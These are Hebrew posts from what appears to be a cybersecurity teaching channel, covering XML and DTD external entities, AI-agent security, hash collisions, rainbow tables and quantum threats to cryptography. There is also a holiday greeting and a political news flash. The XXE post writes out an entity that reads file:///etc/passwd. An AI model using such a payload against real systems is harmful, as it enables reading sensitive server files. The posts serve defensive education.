🧬 ה-DNA של XML: הכירו את ה-DTD וה'משתנים' הסודיים שלו 🧬 בפוסט הקודם הצגנו את XML כשפה שנותנת מבנה ותיאור. ראינו שהיא נראית תמימה למדי, כמו "תעודת זהות" דיגיטלית. היום, אנחנו נכנסים לחדר המכונות. נגלה את "ספר החוקים" שמגדיר איך כל מסמך XML צריך להיראות, וניחשף לכלי עוצמתי (ומסוכן) שמסתתר בתוכו. 📜 מהו DTD (Document Type Definition)? כדי שמערכות שונות יוכלו להבין XML בצורה אחידה, צריך סט של חוקים. כאן נכנס לתמונה ה-DTD. תחשבו על ה-DTD בתור התקנון או "ספר החוקים" של מסמך XML ספציפי. הוא מגדיר בדיוק את המבנה החוקי של המסמך: אילו תגיות (Elements) מותרות? באיזה סדר הן צריכות להופיע? אילו תגיות יכולות להכיל תגיות אחרות? האם לתגית מסוימת יש מאפיינים (Attributes)? הצהרת ה-DTD מופיעה בתחילת קובץ ה-XML, בתוך תג שנקרא DOCTYPE. היא מבטיחה שכל מי שיוצר או קורא את ה-XML הזה, משחק לפי אותם כללים. זה חיוני לעקביות ואימות נתונים. ישויות (Entities) - כאן מתחיל האקשן בתוך ה-DTD, קיים מנגנון סופר שימושי שנקרא ישויות (Entities). במילים פשוטות, ישות היא מעין "משתנה" או קיצור דרך שניתן להגדיר ולהשתמש בו בתוך מסמך ה-XML. ישנם שני סוגים עיקריים, וכאן הסיפור שלנו הופך למעניין. 1. ישות פנימית (Internal Entity) - הצד התמים 😊 זוהי ישות פשוטה שמגדירה טקסט קבוע לשימוש חוזר. למשל, אם שם החברה מופיע הרבה פעמים במסמך, אפשר להגדיר אותו פעם אחת ולהשתמש בקיצור. הגדרה ב-DTD: XML <!ENTITY companyName "Cyber Security IL"> שימוש ב-XML: XML <author>&companyName;</author> כאשר מפרש ה-XML יקרא את השורה הזו, הוא יחליף אוטומטית את &companyName; בטקסט "Cyber Security IL". נוח ויעיל. 2. ישות חיצונית (External Entity) - הצד הבעיתי כאן הסיפור משתנה לחלוטין. ישות חיצונית, כשמה כן היא, מאפשרת לטעון תוכן ממקור חיצוני למסמך ה-XML הנוכחי. המקור הזה יכול להיות קובץ מקומי על השרת או אפילו כתובת אינטרנט (URL). התחביר נראה כך: XML <!ENTITY entityName SYSTEM "URI"> ה-URI יכול להיות נתיב לקובץ, כמו file:///c:/boot.ini או כתובת רשת כמו http://example.com/data.txt. וזו נקודת התורפה הקריטית. דמיינו שאנחנו, כתוקפים, יכולים לשלוח למערכת קובץ XML ושבתוך ה-DTD שלו נגדיר ישות חיצונית כזו: XML <!ENTITY fileContent SYSTEM "file:///etc/passwd"> כאשר מפרש ה-XML בצד השרת יתקל בהצהרה הזו, הוא יבין שהוא קיבל הוראה: "לך לנתיב file:///etc/passwd, קרא את כל מה שיש בקובץ, וטען את התוכן לתוך הישות fileContent". ראיתם את הדוגמה האחרונה? אתם מבינים את המשמעות? 💥 נתנו למסמך XML תמים לכאורה, פקודה לגשת ולקרוא קובץ רגיש מתוך מערכת הקבצים של השרת. עדיין לא הצגנו את המידע, אבל הצעד הראשון והמסוכן ביותר בוצע. בפוסט הבא, ניקח את היכולת הזו צעד אחד קדימה. נבנה את ה-Payload המלא ונראה, שלב אחר שלב, איך התקפת XXE קלאסית לגניבת קבצים עובדת בפועל. אתם לא רוצים לפספס את זה! 🕵️‍♂️ הצטרפו לערוץ @CYBERSECURITYCODING

י📜 XML: השפה השקטה שמפעילה את האינטרנט (ולמה האקרים אוהבים אותה) 📜 היי חברים וברוכים הבאים לסדרת הפוסטים החדשה שלנו! 🚀 בסדרה הקרובה נצא למסע לעומק אחת הטכנולוגיות הוותיקות והנפוצות ביותר בעולם הדיגיטלי, טכנולוגיה שרובכם משתמשים בה כל יום בלי לדעת. נכיר את XML, נבין את הכוח שלו, ונגלה איך הכוח הזה יכול להפוך לנשק בידיים הלא נכונות. 🤔 מה זה בכלל XML? נתחיל מהבסיס. XML, או eXtensible Markup Language, היא לא שפת תכנות. היא לא מבצעת לוגיקה או פקודות. XML היא שפת סימון (Markup Language), בדיוק כמו HTML שבונה אתרי אינטרנט. אבל בעוד ש HTML מתמקד באיך להציג מידע (כותרת גדולה, פסקה, צבע אדום), XML מתמקד במהו המידע ומה המבנה שלו. תחשבו על זה כמו תעודת זהות דיגיטלית למידע. היא נותנת לכל פיסת נתונים שם, תיאור ומקום ברור בהיררכיה. היא מאפשרת למערכות שונות לדבר אחת עם השנייה בשפה משותפת ומובנית. הנה דוגמה פשוטה לאיך נראים פרטי משתמש בפורמט XML: <user> <firstName>Israel</firstName> <lastName>Israeli</lastName> <username>israeli_cyber</username> <isAdmin>false</isAdmin> </user> קל לקרוא, נכון? גם לבני אדם וגם למכונות. כל פיסת מידע עטופה ב"תגיות" שמתארות אותה. 📍 איפה פוגשים XML בעולם האמיתי? אתם תתפלאו, אבל XML נמצא כמעט בכל מקום, במיוחד בסביבות ארגוניות ותיקות: ממשקי API ישנים 🌐: הרבה שירותי רשת ותיקים, במיוחד אלו המבוססים על פרוטוקול SOAP, משתמשים ב-XML כדי להעביר נתונים. קבצי קונפיגורציה ⚙️: אפליקציות רבות, במיוחד בסביבות Java ו-.NET, שומרות את הגדרות התצורה שלהן בקבצי XML (למשל, web.config או pom.xml). מערכות לגאסי וארגונים גדולים 🏢: בנקים, חברות ביטוח וארגונים ממשלתיים עדיין מסתמכים בכבדות על מערכות ותיקות שמדברות XML. פורמטים של קבצים 📄: ידעתם שקבצי Office מודרניים (כמו .docx) הם בעצם קבצי ZIP שמכילים המון קבצי XML? גם פורמטים של תמונות וקטוריות כמו SVG הם למעשה XML. 🔓 הקשר לאבטחת מידע - הרמז לבאות אז אם זו רק שפה לתיאור נתונים, איפה הסיכון? ובכן, הגמישות והיכולות המתקדמות של XML הן יוצרות בעיות. המפרש (Parser) של XML הוא לא רק "קורא" פסיבי של טקסט; יש לו יכולות מתקדמות, כמו היכולת לטעון תוכן ממקורות חיצוניים ולהגדיר "קיצורי דרך". הגמישות והעוצמה האלו הן בדיוק מה שהופך את XML למטרה מעניינת עבור תוקפים. הם לא רואים רק נתונים, הם רואים הזדמנות לגרום למערכת שמפענחת את ה XML לבצע פעולות שהיא לא הייתה אמורה לבצע. אז איך הופכים את "תעודת הזהות" התמימה הזו לנשק? 🤫 בפוסט הבא נצלול לתוך "ספר החוקים" של ה XML, ה DTD, נכיר את ה"משתנים" הסודיים שלו (Entities), ונבין איך כל זה הופך להיות נקודת התורפה הראשונה שלנו. הישארו מעודכנים! שאלות? הערות? שתפו אותנו בתגובות! 👇 הצטרפו לערוץ @CYBERSECURITYCODING

וואו🔥

בפעולה חסרת תקדים, ראש הממשלה בנימין נתניהו בשידור ישיר מבניין האו"ם שבניו יורק מודיע כי צה״ל השתלט על מכשירי הטלפון של תושבי עזה ופעילי חמאס ונאומו משודר כעת בשידור חי באמצעות המכשירים. ראש הממשלה פונה אל תושבי עזה ומבהיר כי המלחמה יכולה להסתיים מיד בהחזרת כל החטופים, בפירוק החמאס מנשקו ופירוז הרצועה. ראש הממשלה הדגיש: "מי שיעשה זאת - יחיה, מי שלא - יירדף".

💡🤖 עולם ה-AI מציב אתגרי אבטחה חדשים. האם אנחנו מוכנים? 🤖💡 כולנו רואים איך כלי AI משתלבים יותר ויותר במערכות שלנו. אבל כמו בכל טכנולוגיה חדשה, יחד עם היכולות המדהימות, צצות גם בעיות אבטחה ווקטורי תקיפה חדשים שצריך לתת עליהם את הדעת. בואו נחשוב על תרחיש פשוט: נותנים לסוכן AI (Agent) גישה לקבצים פנימיים בארגון כדי שיעזור לסכם אותם. במקביל, אותו סוכן יכול לגשת לאינטרנט כדי להעשיר את המידע, ויש לו גם יכולת לכתוב החוצה - למשל, לשלוח אימייל או לכתוב לקובץ אחר. שלוש היכולות האלה בנפרד נשמעות לגיטימיות. אבל ביחד? הן יוצרות סיכון משמעותי לדליפת מידע. בתעשייה כבר נתנו לזה שם: The Lethal Trifecta. 🔱 אז איך מאבטחים דבר כזה? 🤔 כאן נכנס הצורך בפתרונות אבטחה מהדור החדש, שמותאמים ספציפית לעולם ה-AI. חומת אש רגילה לא תמיד תדע להבחין אם פעולת ה-AI לגיטימית או זדונית. נתקלתי לאחרונה בפרויקט קוד פתוח בשם OpenEdison שמנסה לגשת בדיוק לבעיה הזו. הרעיון שלו הוא לשמש כ"פאנל בקרה" ייעודי שיושב בין ה-AI לסביבה, מנטר את הפעולות שלו מול מדיניות מוגדרת מראש, ומטרתו היא לזהות ולחסום פעולות שמשיגות את "השלישייה הקטלנית" המסוכנת. למה זה צריך לעניין אותנו? בין אם הפרויקט הספציפי הזה יצליח או לא, הוא סימן חשוב למגמה. ככל שהשימוש ב-AI יתרחב, כך נראה יותר ויותר צורך בכלים שמתמחים באבטחת המידע של האינטראקציות האלה. זה תחום חדש שמתפתח, וכאנשי סייבר וטכנולוגיה, חשוב שנכיר את הבעיות ואת הניסיונות הראשונים לפתור אותן. ממליץ להעיף מבט בפרויקט, לאו דווקא בתור כלי להטמיע מחר בבוקר, אלא בתור "Case Study" מעניין שממחיש את אתגרי האבטחה החדשים שעולם ה-AI מביא איתו. 🔗 קישור לגיטהאב של OpenEdison: https://github.com/Edison-Watch/open-edison מה דעתכם? אילו עוד סיכוני אבטחה ייחודיים ל-AI אתם רואים באופק? הצטרפו לערוץ @CYBERSECURITYCODING

🍎🍯 שנה טובה ומתוקה קהילה יקרה! 🍯🍎 לקראת ראש השנה, אני רוצה לקחת רגע מהצפנות, קוד ופרוטוקולים, כדי לאחל לכל אחת ואחד מכם שנה טובה, שנה של התחלות חדשות ותקווה. השנה החולפת לימדה אותנו בדרך הקשה על חשיבותה של האחדות, על הסכנה שבחולשות ועל הצורך התמידי להיות דרוכים. יהי רצון שהשנה החדשה תהיה עבורנו כמו Reset למערכת הזדמנות למחוק את הבאגים הכואבים של העבר. יותר מכל, ליבנו ותפילותינו נתונות לחטופים שלנו. זוהי המשימה החשובה ביותר. אנו מייחלים לשנה שבה נצליח להשיב ,ולהחזיר את כולם הביתה. את הנכס היקר לנו מכל, בריאים ושלמים בגופם ובנפשם. ולבסוף, שתהיה זו שנת הניצחון המוחלט. לא עוד טלאי זמני או פתרון נקודתי, אלא ניצחון אמיתי למדינת ישראל. שנה של בניית חומות כמובן,חיזוק החוסן הלאומי והשבת השקט והביטחון האמיתי לגבולותינו. מאחל לכם ולמשפחותיכם שנה של בריאות, הצלחה, שקט ושמחה. שנכתב ונחתם כולנו לחיים טובים ולשלום. 🇮🇱 חג שמח ושנה טובה, @CYBERSECURITYCODING

העולם הקריפטוגרפי נמצא בנקודת מפנה היסטורית. הכללים עומדים להשתנות, אבל המטרה נשארת זהה: להבטיח את הסודיות, השלמות והאמון בעולם הדיגיטלי. המירוץ התחיל. אני רוצה להודות לכל מי שעקב אחרי הסדרה! מקווה שהיא הייתה מעניינת ומעשירה. נתראה בפוסטים הבאים! שאלות לסיום? מחשבות על העתיד? שתפו אותי! 👇 הצטרפו לערוץ @CYBERSECURITYCODING

י Cryptography Deep Dive (חלק 5): האיום הקוונטי - סוף עידן? בארבעת הפרקים האחרונים, צללנו לעומק העולם המרתק של הקריפטוגרפיה הקלאסית. בנינו, פירקנו, תקפנו והתגוננו. למדנו איך האינטרנט, כפי שאנחנו מכירים אותו, בנוי על יסודות מתמטיים מורכבים. היום, בפרק הסיום, נדבר על רעידת האדמה הטכנולוגית שמאיימת למוטט את כל מה שבנינו. נדבר על מחשוב קוונטי. חלק 1: מהו מחשב קוונטי ולמה הוא כל כך מסוכן? מחשב רגיל (קלאסי) עובד עם ביטים. כל ביט הוא כמו מתג אור - הוא יכול להיות או 0 (כבוי) או 1 (דולק). כל הפעולות שלו, מורכבות ככל שיהיו, מבוססות על מיליארדי מתגים כאלה. מחשב קוונטי עובד עם קיוביטים (Qubits). קיוביט הוא לא מתג פשוט. הוא יכול להיות 0, הוא יכול להיות 1, והוא יכול להיות גם 0 וגם 1 בו-זמנית (תופעה שנקראת "סופרפוזיציה"). בנוסף, קיוביטים יכולים להיות "קשורים" זה לזה (תופעת ה"שזירה"), כך ששינוי באחד משפיע מיידית על האחר, לא משנה המרחק. היכולות המוזרות האלה מאפשרות למחשב קוונטי לבחון כמות אדירה של אפשרויות במקביל, מה שהופך אותו לכלי אימתני בפתרון סוגים מאוד ספציפיים של בעיות מתמטיות - בדיוק הבעיות שעליהן מבוססת ההצפנה המודרנית. אלו שתי נקודות התורפה העיקריות שהוא תוקף: הצפנה א-סימטרית (RSA, PKI): איום קיומי כזכור: כל מערכת האמון של האינטרנט (ה-HTTPS, החתימות הדיגיטליות) מבוססת על הצפנה א-סימטרית. היא נשענת על בעיה מתמטית קשה: קל מאוד להכפיל שני מספרי ענק, אבל קשה באופן בלתי אפשרי לקחת את התוצאה ולגלות מהם שני המספרים המקוריים. הפריצה הקוונטית (אלגוריתם שור): כבר ב-1994, מתמטיקאי בשם פיטר שור פיתח אלגוריתם תיאורטי למחשב קוונטי. האלגוריתם הזה מסוגל לפתור את בעיית הפירוק לגורמים ביעילות. המשמעות: מחשב קוונטי חזק מספיק, שמריץ את אלגוריתם שור, יוכל לקחת מפתח ציבורי של כל אתר אינטרנט (שגלוי לכולם) ולחשב ממנו את המפתח הפרטי הסודי. זה הסוף של האינטרנט המאובטח כפי שאנו מכירים אותו. תוקף יוכל להתחזות לכל אתר, לקרוא כל תקשורת, ולזייף כל חתימה. הצפנה סימטרית (AES): איום משמעותי, אך פתיר כזכור: הצפנה סימטרית כמו AES נחשבת בטוחה בגלל אורך המפתח שלה. לנסות את כל המפתחות האפשריים (Brute Force) ייקח למחשב רגיל מיליארדי שנים. הפריצה הקוונטית (אלגוריתם גרובר): אלגוריתם קוונטי אחר, אלגוריתם גרובר, מסוגל להאיץ משמעותית חיפוש כזה. הוא לא "פותר" את הבעיה כמו שור, אבל הוא מקטין דרמטית את כמות הניחושים הנדרשת. בפועל, הוא חוצה את אורך המפתח האפקטיבי. המשמעות: הצפנת AES עם מפתח 128-bit הופכת להיות חזקה כמו הצפנת 64-bit, שנחשבת פגיעה. הפתרון: כאן, למרבה המזל, הפתרון פשוט יחסית. אם נעבור להשתמש במפתחות AES-256, החוזק האפקטיבי שלהם נגד מחשב קוונטי יהיה 128-bit, שזה עדיין חזק ובטוח. חלק 2: המירוץ לחימוש - קריפטוגרפיה פוסט-קוונטית (PQC) הקהילה המדעית לא יושבת בחיבוק ידיים. כבר שנים מתנהל מירוץ עולמי לפיתוח קריפטוגרפיה פוסט-קוונטית (Post-Quantum Cryptography - PQC). אלו אלגוריתמים חדשים לחלוטין, שנועדו להיות עמידים גם בפני מחשבים רגילים וגם בפני מחשבים קוונטיים. הם לא מבוססים על פירוק לגורמים, אלא על בעיות מתמטיות אחרות, שנכון להיום מאמינים שגם מחשבים קוונטיים יתקשו לפתור. מכון התקנים והטכנולוגיה האמריקאי (NIST) מנהל תחרות עולמית לבחירת התקנים החדשים, וכבר הכריז על המנצחים הראשונים שיחליפו בעתיד את RSA ודומיו. חלק 3: אז מתי זה קורה? והאם לדאוג? האם האיום מיידי? כנראה שלא. בניית מחשב קוונטי יציב וגדול מספיק כדי לשבור הצפנות היא אתגר הנדסי עצום. ההערכות נעות בין 10 ל-20 שנה, אבל אף אחד לא באמת יודע. אז למה לפעול עכשיו? בגלל מתקפה שנקראת "אגור עכשיו, פענח אחר כך" (Harvest Now, Decrypt Later). גורמי תקיפה ומדינות יכולים להקליט ולהעתיק כמויות אדירות של מידע מוצפן שזורם באינטרנט היום. הם אוגרים אותו על שרתים, בידיעה שבעוד 15 שנה, כשתהיה להם יכולת קוונטית, הם יוכלו לפתוח את כל המידע הרגיש הזה - סודות מדינה, סודות מסחריים, מידע רפואי ועוד. לכן, המעבר להצפנה עמידה חייב להתחיל כבר עכשיו. סיכום הסדרה: סוף והתחלה בסדרה זו יצאנו למסע: מהיסודות של Hashing והצפנה, דרך בניית מערכות אמון עם PKI, למדנו איך תוקפים חושבים עם Rainbow Tables ו-Birthday Attacks, והיום הבטנו אל העתיד הלא נודע של המחשוב הקוונטי.

🎉י Cryptography Deep Dive (חלק 4): The Birthday Attack - איך הסתברות שוברת הצפנה 🎉 ברוכים הבאים לחלק הרביעי בסדרה שלנו. עד עכשיו דיברנו על בניית הגנות ועל פיצוח סיסמאות, אבל יש סוג אחר לגמרי של התקפה כזו שלא מנסה לגנוב מידע, אלא לזייף אותו ולשבור את האמון שלנו בו. הכירו את "התקפת יום ההולדת", מתקפה קריפטוגרפית מתוחכמת שמבוססת על חידה סטטיסטית פשוטה ומפתיעה. החידה שמסבירה את ההיגיון: פרדוקס יום ההולדת בואו נתחיל בשאלה: דמיינו שאתם נכנסים לחדר. כמה אנשים צריכים להיות בו כדי שהסיכוי שלפחות לשניים מהם יש יום הולדת באותו תאריך יהיה גבוה? רובנו נחשוב שהתשובה היא מספר גדול, אולי 183 אנשים (חצי ממספר הימים בשנה). זה נשמע הגיוני, אבל זה לא נכון. התשובה האמיתית והמפתיעה היא 23 אנשים בלבד. איך זה יכול להיות? ההסבר לא מסובך. אנחנו לא מחפשים מישהו עם יום הולדת ספציפי (כמו ה-1 בינואר), אלא כל זוג של אנשים עם יום הולדת משותף. חשבו על זה כמו לחיצות ידיים: כשאדם חדש נכנס לחדר, הוא יכול ללחוץ יד לכל מי שכבר נמצא שם, ויוצר הרבה "קשרים" חדשים. מספר הזוגות האפשריים גדל הרבה יותר מהר ממספר האנשים. בחדר עם 23 איש, יש מעל 250 זוגות אפשריים, מה שנותן לנו המון הזדמנויות למצוא התאמה. למה הגודל קובע: ניתוח האלגוריתמים עכשיו, בואו ניקח את הרעיון הזה לעולם הסייבר. נחליף את המילים: אנשים בחדר ⬅️ קבצים שונים (למשל, חוזים, תמונות, תוכנות). ימי הולדת ⬅️ תוצאות ה-Hash הייחודיות של כל קובץ. המטרה של התוקף היא למצוא שני קבצים שונים לגמרי, שב"מקרה" מקבלים את אותו ה-Hash. בואו נראה איך זה עובד על אלגוריתמים שונים. 🔴 אלגוריתם MD5 (לא בטוח) המספרים: זהו אלגוריתם 128-bit. המשמעות היא שהוא יכול לייצר מספר עצום של תוצאות Hash שונות - מספר עם 39 ספרות! נקודת הכשל: המספר הזה כל כך גדול, שאם תנסה למצוא קובץ עם Hash ספציפי שאתה מחפש, זה כמעט בלתי אפשרי. אבל, בגלל "פרדוקס יום ההולדת", התוקף רק צריך למצוא שני קבצים כלשהם שמתנגשים. הקיצור הזה הופך את הבעיה לקלה בהרבה. כמות החישובים הנדרשת היא עדיין עצומה - מיליארדי מיליארדים של פעולות - אבל זה בהחלט אפשרי עם כוח המחשוב של ימינו. 🔴 אלגוריתם SHA-1 (לא בטוח) המספרים: זהו אלגוריתם 160-bit, שדרוג משמעותי מ-MD5. מספר תוצאות ה-Hash האפשריות פה גדול בהרבה - מספר עם 49 ספרות. נקודת הכשל: במשך שנים, האלגוריתם נחשב בטוח כי כמות החישובים למציאת התנגשות הייתה גדולה מדי. אבל טכנולוגיית המחשוב התקדמה, ובשנת 2017 גוגל הוכיחה שזה אפשרי כשהיא הציגה שני קבצים שונים עם אותו Hash של SHA-1. זה הוכיח שהאלגוריתם אינו עמיד יותר. 🟢 אלגוריתם SHA-256 (בטוח) המספרים: זהו אלגוריתם 256-bit, הסטנדרט המודרני. מספר תוצאות ה-Hash האפשריות כאן הוא כמעט בלתי נתפס - מספר עם 78 ספרות! החוזק: כאן טמון ההבדל. המספר הזה כל כך גדול, שגם אחרי ה"קיצור" של פרדוקס יום ההולדת, כמות החישובים הנדרשת למציאת התנגשות היא עדיין אסטרונומית. אנחנו מדברים על מספר פעולות שגדול יותר ממספר גרגירי החול על פני כל כדור הארץ. זה פשוט בלתי אפשרי עם כל טכנולוגיה קיימת או נראית לעין. תרחיש התקיפה: זיוף חתימה דיגיטלית דמיינו שתוקף רוצה לגרום למנכ"לית לחתום על הוראה להעברת כספים. הכנה: התוקף מכין שני מסמכים: חוזה_תקין.pdf ו-חוזה_זדוני.pdf (שמכיל את ההוראה להעברת הכסף). יצירת "תאומים": הוא משתמש בתוכנה כדי ליצור מיליוני גרסאות קטנות ושונות של שני המסמכים (על ידי שינויים בלתי נראים). התוכנה מחשבת את ה-Hash של כל גרסה, עד שהיא מוצאת גרסה תמימה וגרסה זדונית שמייצרות בדיוק את אותו ה-Hash. המלכודת: התוקף שולח את החוזה התקין למנכ"לית. היא קוראת, רואה שהכל בסדר, וחותמת עליו דיגיטלית (החתימה מאמתת את ה-Hash). הזיוף: התוקף לוקח את החתימה התקפה ומצמיד אותה לחוזה הזדוני. מכיוון שה-Hash זהה, החתימה תקפה לחלוטין! ההגנה: לבחור את הכלי הנכון ההגנה כאן היא פשוטה: לא להשתמש בכלים שבורים. ארגונים וחברות חייבים להשתמש באלגוריתמים מודרניים וחזקים כמו SHA-256. הגודל העצום שלהם הופך את המתקפה הזו לתרגיל תיאורטי בלבד, ומבטיח שהחתימה הדיגיטלית שלנו תישאר אמינה. בפוסט החמישי והאחרון בסדרה, ניקח את כל הידע שלנו ונביט אל העתיד. מה יקרה כשמחשבים קוונטיים ישנו את כל כללי המשחק? נדבר על האיום הגדול הבא ועל המירוץ למצוא לו פתרון. מקווה שהפוסט הזה היה ברור. שאלות? הערות? אני כאן. 👇 הצטרפו לערוץ @CYBERSECURITYCODING

לסיכום: Rainbow Tables הן דוגמה מדהימה למתקפה חכמה שמנצלת פשרה בין משאבים. אך הבנתה מדגישה את החשיבות הקריטית של הגנה פשוטה אחת: תמיד, אבל תמיד, השתמשו ב-Salt חזק וייחודי עבור כל סיסמה. בפוסט הבא, נצלול לעומק של ההתקפה השנייה שהזכרנו - The Birthday Attack, ונבין איך היא מאיימת לא על סודיות הסיסמאות, אלא על עצם המושג של אמון ושלמות המידע. שאלות? הערות? כתבו לי! 👇 הצטרפו לערוץ @CYBERSECURITYCODING